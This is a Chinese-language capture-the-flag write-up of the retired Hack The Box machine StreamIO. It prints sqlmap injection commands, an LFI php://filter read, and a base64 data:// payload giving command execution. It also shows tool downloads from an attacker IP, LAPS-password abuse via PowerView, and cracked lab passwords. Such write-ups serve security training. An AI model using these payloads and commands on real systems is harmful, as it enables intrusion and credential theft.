StreamIO Writeup

概述 (Overview)

image

HOST: 10.10.11.158

OS: Windows

发布时间: 2022-06-04

完成时间: 2022-06-30

机器作者: JDgodd & nikk37

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #ActiveDirectory #LDAP #SourceCodeAnalysis #SQLi

攻击链 (Kiillchain)

HTB官方关于 StreamIO 说明:

StreamIO 是一个 Medium 难度的机器,它涵盖子域枚举,可以利用 SQL 注入以检索存储的用户凭据,并利用这些凭据访问管理面板。管理面板易受 LFI 影响,这使我们能够检索管理页面的源代码,从而发现远程文件包含漏洞,滥用该漏洞可访问系统。在初始 shell 之后,我们利用 SQLCMD 命令行实用程序枚举数据库并获取横向移动中使用的更多凭证。作为二级用户,我们使用 WinPEAS 枚举系统并找到已保存的浏览器数据库,对其进行解码,从而获得新的凭据。使用 BloodHound 中的新凭证,我们发现该用户有能力将自己添加到一个特定组中,在该组中他们可以读取 LDAP 秘密。在无法直接访问账户的情况下,我们使用 PowerShell 滥用这一功能,将自己添加到 Core Staff group,然后访问 LDAP 以披露管理员 LAPS 密码。

枚举(Enumeration)

开局还是通过 Nmap 工具对目标服务器开放端口进行服务枚举。

PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-06-29 13:10:12Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name) 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_ssl-date: 2022-06-29T13:11:43+00:00; +7h00m01s from scanner time. |_http-title: Not Found | ssl-cert: Subject: commonName=streamIO/countryName=EU | Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb | Issuer: commonName=streamIO/countryName=EU | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-02-22T07:03:28 | Not valid after: 2022-03-24T07:03:28 | MD5: b99a 2c8d a0b8 b10a eefa be20 4abd ecaf |_SHA-1: 6c6a 3f5c 7536 61d5 2da6 0e66 75c0 56ce 56e4 656d | tls-alpn: |_ http/1.1 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49701/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s | smb2-time: | date: 2022-06-29T13:11:03 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required

在结果中我们可以获悉服务器是 Windows,存在 DNS 解析服务、Web 服务及 Active Directory 相关服务。注意到 WINRM 服务是对外开放的,这意味我们需要先得到一个可用 RM 的用户凭证来做为立足点。

Port 80、443 - HTTP、HTTPS

浏览器访问 80 端口,在首页中能够找一组域名逐而将其加入到 hosts 文件后,再次访问。

400

https://streamio.htb

500

https://watch.streamio.htb

500

浏览子域功能时发现一个搜索功能。

500

简单尝试输入一些内容后发现功能是被禁用的:

<script type="text/javascript"> function unavailable() { alert("Movie Steaming is currently unavailable due to Some security issues"); } </script>

在对主域名进行路径枚举时,发现存在一个 admin/master.php 可以被访问。但需要一些前置条件才能使用。

500

尝试用 kerbrute 工具进行用户名枚举,可惜没有用户名命中当前的字典。

600

立足点(Foothold)

兜兜转转来到主域名的登录页面,简单验证了一下发现存在 SQL 注入。

500
随即使用 SqlMap 工具进行数据库内容 dump:

$ sqlmap -u "https://streamio.htb/login.php" --data "username=1&password=1" --method POST -D STREAMIO -T users --dump sqlmap identified the following injection point(s) with a total of 86 HTTP(s) requests: --- Parameter: username (POST) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: username=123';WAITFOR DELAY '0:0:5'--&password=123 --- ...snip... available databases [5]: [*] model [*] msdb [*] STREAMIO [*] streamio_backup [*] tempdb ...snip... Database: STREAMIO [2 tables] +--------+ | movies | | users | +--------+

500

将 users 表中的密码 hash 进行本地暴力枚举,得到一些明文信息:

Hash Type Result 08344b85b329d7efd611b7a7743e8a09 md5 ##123a8j8w5123## f87d3c0d6c8fd686aacc6627f1f493a5 md5 !!sabrina$ 3577c47eb1e12c8ba021611e1280753c md5 highschoolmusical 54c88b2dbd7b1a84012fabc1a4c73415 md5 $hadoW b83439b16f844bd6ffe35c02fe21b3c0 md5 !?Love?!123 b22abb47a02b52d5dfa27fb0b534f693 md5 !5psycho8! ef8f3d30a856cf166fb8215aca93e9ff md5 %$clara ee0b8a0937abd60c2882eacb2f8dc49f md5 physics69i 6dcd87740abb64edfa36d170f0d5450d md5 $3xybitch 2a4e2cf22dd8fcb45adcb91be1e22ae8 md5 $monique$1991$ b779ba15cedfd22a023c4d8bcf5f2332 md5 66boysandgirls.. 665a50ac9eaa781e4f7f04199db97a11 md5 paddpadd

随后使用得到账号密码进行登录,发现 yoshihide 用户具备该权限。

yoshihide:66boysandgirls..

400

挨个测试了控制台中的功能均没有取得新的进展,猜测可能隐藏了漏洞暴露的页面。根据菜单中的 URL 请求规则,使用 FFUF 工具进行 Fuzzing 尝试。

<ul class="nav nav-pills nav-fill"> <li class="nav-item"> <a class="nav-link" href="?user=">User management</a> </li> <li class="nav-item"> <a class="nav-link" href="?staff=">Staff management</a> </li> <li class="nav-item"> <a class="nav-link" href="?movie=">Movie management</a> </li> <li class="nav-item"> <a class="nav-link" href="?message=">Leave a message for admin</a> </li> </ul>
$ ffuf -u "https://streamio.htb/admin/?FUZZ=" -w ./directory-list-2.3-small.txt -H "Cookie: PHPSESSID=pbe4b69vnntudf4tu89fhvo9sp" -fw 85 -fc 403 -o ffuf.txt

600

从结果中可以看到存在一个 ?debug= 路径,简单测试后发现存在 LFI 漏洞。

  • 尝试:加载当前路径中的 index.php 文件,输出 ERROR

500

  • 尝试:加载上级路径中的 index.php 文件,输出 PHP 脚本运行后的内容。

500

随后在尝试读取源代码进行分析时,发现脚本中一组数据库连接账号密码。从代码中可以看到,漏洞出现位置位于 include 函数。

GET /admin/?debug=php://filter/read=convert.base64-encode/resource=index.php ...snip... $connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890'); ...snip... <?php if(isset($_GET['debug'])) { echo 'this option is for developers only'; if($_GET['debug'] === "index.php") { die(' ---- ERROR ----'); } else { include $_GET['debug']; } } else if(isset($_GET['user'])) require 'user_inc.php'; else if(isset($_GET['staff'])) require 'staff_inc.php'; else if(isset($_GET['movie'])) require 'movie_inc.php'; else ?>

因为目标服务器是 windows 系统,尝试使用进行 SMB 中续可以获得 NTLM Hash,可以看到请求我们 SMB 服务的用户是 yoshihide

image

在暴力破解 Hash 的同时,在 master.php 脚本代码中找到了可以代码执行的漏洞。

GET /admin/?debug=php://filter/read=convert.base64-encode/resource=master.php <?php if(isset($_POST['include'])) { if($_POST['include'] !== "index.php" ) eval(file_get_contents($_POST['include'])); else echo(" ---- ERROR ---- "); } ?>

image

随后利用代码执行成功拿到立足点:

$ curl -s -k -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' -b 'PHPSESSID=<YOSHIHIME SESSION ID>' --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" 'https://streamio.htb/admin/?debug=master.php&cmd=whoami"'

400

横向移动(Lateral Movement)

虽然拿到了 shell,但当前用户文件夹中并没有 user flag,所以还需要进行用户横向移动。通过文件传递将 peas、sharphound 发送到目标服务器上运行。

PS C:\Windows\temp> Invoke-WebRequest "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEASx64.exe" PS C:\Windows\temp> Invoke-WebRequest "http://10.10.14.12/SharpHound.exe " -OutFile "SharpHound.exe" PS C:\Windows\temp> .\SharpHound.exe ----------------------------------------------- Initializing SharpHound at 5:27 AM on 6/30/2022 ----------------------------------------------- Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container [+] Creating Schema map for domain STREAMIO.HTB using path CN=Schema,CN=Configuration,DC=STREAMIO,DC=HTB [+] Cache File not Found: 0 Objects in cache [+] Pre-populating Domain Controller SIDS Status: 0 objects finished (+0) -- Using 19 MB RAM Status: 64 objects finished (+64 ?)/s -- Using 27 MB RAM Enumeration finished in 00:00:00.5027307 Compressing data to .\20220630052742_BloodHound.zip You can upload this file directly to the UI SharpHound Enumeration Completed at 5:27 AM on 6/30/2022! Happy Graphing!

在 peas 中想起存在 SQL Server 服务,随即将其本地监听的端口进行转发。

600

使用 mssqlclient 工具登录数据库进行查看。

# mssqlclient.py db_admin:'B1@hx31234567890'@127.0.0.1 -p 1433

用户没有权限操作 xp_cmdshell,转而查数据库,在 streamio_backup 库中能找到一些用户 Hash。经过对比, streamio_backup 库中多了个 nikk37 用户,而 nikk37 用户在 cmd> net user 中也存在。

SQL> select * from master.dbo.SysDatabases; SQL> SELECT * FROM SysObjects Where XType='U'; SQL> select * from streamio_backup..users id username password ----------- -------------------------------------------------- -------------------------------------------------- 1 nikk37 389d14cb8e4e9b94b137deb1caf0612a 2 yoshihide b779ba15cedfd22a023c4d8bcf5f2332 ...snip...

表中的 hash 可以通过 sqlmap 进行导出,它是支持本地或远程连接数据库的。

sqlmap -d mssql://db_admin:'B1@hx31234567890'@localhost:1433/streamio_backup --dump -D users

经过 cmd5 这类网站进行 hash 查询得到明文密码,使用 CME 工具进行验证,该密码是有效的。

nikk37:get_dem_girls2@yahoo.com

600

结合开放的 WINRM 服务,使用 evil-winrm 工具成功获取 PSSession,完成横向移动。

$ evil-winrm -i 10.10.11.158 -u nikk37 -p get_dem_girls2@yahoo.com

600

权限提升(Privilege Escalation)

继续运行 peas 进行信息收集,在结果中查看到有 Firefox 浏览器保存凭证。

700

key4.db 文件传递至本地后进行分析。

download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db $ file key4.db key4.db: SQLite 3.x database, last written using SQLite version 3037002, page size 32768, file counter 4, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 4

通过 Google 进行搜索发现可以使用 firepwd 工具进行内容提取,但需要注意它还要结合 logins.json 文件,单独的一个 key4.db 是不起作用的。

firepwd.py - https://github.com/lclevy/firepwd

700

decrypting login/password pairs https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r' https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)' https://slack.streamio.htb:b'yoshihide',b'paddpadd@12' https://slack.streamio.htb:b'JDgodd',b'password@12'

使用 CME 工具对新得到的用户和密码进行登录验证,发现 JDgodd 用户是有效的。

image

结合 BloodHound 工具进行攻击路径查看,JDgodd 用户可以修改 CORE STAFF 组,而该组可以读取 LDAP Password。而 ReadLAPSPassword 的作用就是从指定的AD计算机或域控制器对象上的 Active Directory 查询 Windows 本地管理员密码(LAPS)凭据。

image

提权路径知道了,接下来就是结合工具中提示按攻击步骤进行操作就好。

$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('streamio\JDgodd', $SecPassword) Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff" -principalidentity "streamio\JDgodd" Add-DomainGroupMember -identity "Core Staff" -members "streamio\JDgodd" -credential $Cred

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

800

可以看到,已经成功将 JDgodd 用户加入到 CORE STAF 组中。接着就很简单了,可以使用多种工具获取本地管理员密码,比如 LAPSDumper。

Dumping LAPS from Python - https://github.com/n00py/LAPSDumper

600

也可以直接使用 CME,它的功能模块中已经集成。

800

使用该密码成功完成权限提升。

800

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。